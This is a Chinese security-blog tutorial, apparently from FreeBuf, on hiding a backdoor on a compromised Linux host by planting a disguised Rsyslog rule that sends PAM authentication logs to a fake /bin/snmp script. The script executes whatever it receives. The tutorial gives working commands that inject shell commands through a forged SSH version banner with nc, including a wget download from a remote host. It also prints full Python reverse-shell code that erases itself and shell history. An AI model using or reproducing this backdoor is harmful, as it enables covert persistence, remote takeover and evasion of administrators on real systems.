利用Rsyslog隐藏系统后门
来源:互联网 发布:js轮播图视频教程 编辑:程序博客网 时间:2024/05/21 15:00
*本文原创作者:fnpimr43017,本文属FreeBuf原创奖励计划,未经许可禁止转载
0×01. 关于Rsyslog
ryslog 是一个快速处理收集系统日志的程序,提供了高性能、安全功能和模块化设计。rsyslog 是syslog 的升级版,它将多种来源输入输出转换结果到目的地,据官网介绍,现在可以处理100万条信息。
特性:
1.多线程
2.支持加密协议:ssl,tls,relp
3.mysql、oracle、postgreSQL
4.等等..
一般主流的Linux发行版本中都会自带Rsyslog服务,本文则利用这个常见的日志服务隐藏系统后门
0×02. 实例演示利用Rsyslog 隐藏系统后门
试验环境
10.1.100.1 远程服务器,提供反弹py脚本下载 (windows7)
10.1.100.2 控制端 (centos)
10.1.100.3 被控端 (kali)
一、被控端配置
1. 给rsylog添加后门配置文件
在被控端 上执行以下命令(假设你已经获取victim的 root权限)
man -a rsyslogd syslog | sed 's/^/#&/g' | sed '187 aauth.* ^/bin/snmp #' > /etc/rsyslog.d/README.conf
这串命令的意思试讲 关于rsyslogd syslog的所有man 帮助信息导入到/etc/rsyslog.d 目录下的README.conf文件中,且在README.conf 文件的188行写入
auth.* ^/bin/snmp #
命令中之所以写成aauth, 是因为a是sed的中的关键字,被自动过滤掉,所以要多写一个
命令执行完之后的,结果如下:
我们知道 Rsyslog 服务会将/etc/resyslog.d 目录下的*.conf 文件都认为是配置文件, 这里将名字定为 README.conf 也是增强迷惑性(当然你也可以找到rsyslog的配置文件,然后修改这个配置文件)
我们来看配置文件中唯一一行没有被注释掉的代码
auth.* ^/bin/snmp #
之所以将其放在188行,因为一般人看到这么多注释行,不会继续往下翻, 将配置行 放在这里不容易被发现
其中auth 表示的是PAM认证产生的日志
auth.* ^/bin/snmp # 的意思是将 PAM 产生的所有日志都发往/bin/snmp 程序
这里的/bin/snmp 就是我们留下的后门,snmp也是为了增强迷惑性而命名的
2. 编写后门代码
后门是一个很简单,设置可以说是简陋的sh脚本, 代码如下:
#!/bin/sh
sh -c "$1"
$1 表示传给脚本的第1个参数内容
-c 表示将 $1的字符串内容当做sh命令执行
别忘了给后门增加可执行权限
chmod 755 /bin/snmp
3. 重启rsyslog 服务
systemctl restart rsyslog
至此 被控端配置完毕
二、控制端配置
一般的系统都会开放SSH 服务,而且ssh 是基于PAM认证的,所以ssh认证登录中产生的日志都会发往 /bin/snmp
1. 在控制端执行监听,等待shell反弹
2. 在控制端执行如下命令,下载反弹py脚本,并保存在被控端的/tmp/x.py:
echo "';wget http://10.1.100.1/x.py -O /tmp/x.py;'"|nc 10.1.100.3 22
我们知道ssh 协议在通信的时候首先需要交换ssh版本信息,已确定是否可以通信
所以这里 ‘;wget http://10.1.100.1/x.py -O /tmp/x.py;’ 相当于向victim (10.1.100.3) 宣告自己的ssh版本(显然这里是伪造的,但这不重要),这个版本宣告信息会被rsyslog捕获,并将其传至/bin/snmp, /bin/snmp 会将;wgethttp://10.1.100.1/x.py -O /tmp/x.py;视为入参, 然后执行脚本
也即:
sh -C ";wget http://10.1.100.1/x.py -O /tmp/x.py;"
不知道你注意到没,这里在wget 的命令前后加上;目的是为了防止ssh通信中其他日志信息干扰wget 命令执行
x.py 代码如下:
import os import pty import socket lhost = "10.1.100.2" # XXX: CHANGEME lport = 31337 # XXX: CHANGEME def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/x.py') # 退出后销毁自身 s.close() if __name__ == "__main__": main()
命令执行结果:
被控端查看,下载成功
4. 执行x.py, 反弹shell
控制端执行:
echo "';python /tmp/x.py;'"|nc 10.1.100.3 22
控制端查看,获取shell
*本文原创作者:fnpimr43017,本文属FreeBuf原创奖励计划,未经许可禁止转载
- 上一篇:应用下载需警惕,“猜你妹”病毒潜伏应用市场伺机刷流氓应用
- 下一篇: VLC播放器加载恶意字幕文件导致执行任意代码漏洞分析与out-of-bounds write poc实现(CVE-2017-8313,CVE-2017-8312,CVE-2017-8311)
已有 4 条评论
- STKeeper 2017-07-01回复
@ 有态度VIP 求centos7的rootkit
亮了(3)
- 伪码 2017-07-01回复2楼
这个是后门,有隐蔽性
- 利用Rsyslog隐藏系统后门
- 利用系统默认热键做后门
- 利用rsyslog对非系统日志进行远程传输
- Linux系统后门技术(隐藏帐户篇)
- PHP后门隐藏
- rsyslog日志系统
- rsyslog 收集系统日志
- 利用rsyslog创建syslog center
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)
- linux系统中rsyslog用法
- linux的系统日志rsyslog
- MFC代码块执行时间
- Linux入门学习(一)
- 搭建Nginx图片服务器
- Python运算符
- irp的异步完成_取消irp设置回调函数_应用层CancelIo
- 利用Rsyslog隐藏系统后门
- 课后习题8.3-证明
- Navicat导出表中数据的三种方法(单纯的数据,不包括表结构)
- PS快捷键积累
- live patch 实例测试
- hihocoder 1050 树中的最长路
- Android 消息机制
- [转]C++ 类型转化(运算符重载函数)和基本运算符重载(自增自减)
- iOS 属性修饰符Copy 还是Strong
都能改rsyslog了,直接rookit不更文简单么。没装rsyslog的服务器,管理员看到说不定手动给停了。